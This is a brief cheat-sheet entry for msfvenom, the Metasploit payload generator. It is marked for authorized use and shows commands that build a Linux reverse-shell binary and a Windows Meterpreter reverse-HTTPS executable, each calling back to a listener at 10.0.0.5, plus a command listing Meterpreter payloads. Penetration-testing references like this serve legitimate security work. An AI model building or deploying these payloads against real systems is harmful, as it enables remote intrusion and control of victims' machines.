msfvenom

Metasploit payload generator / encoder (authorized use only).

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f elf -o sh.elf
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.5 LPORT=443 -f exe -o p.exe
$ msfvenom -l payloads | grep meterpreter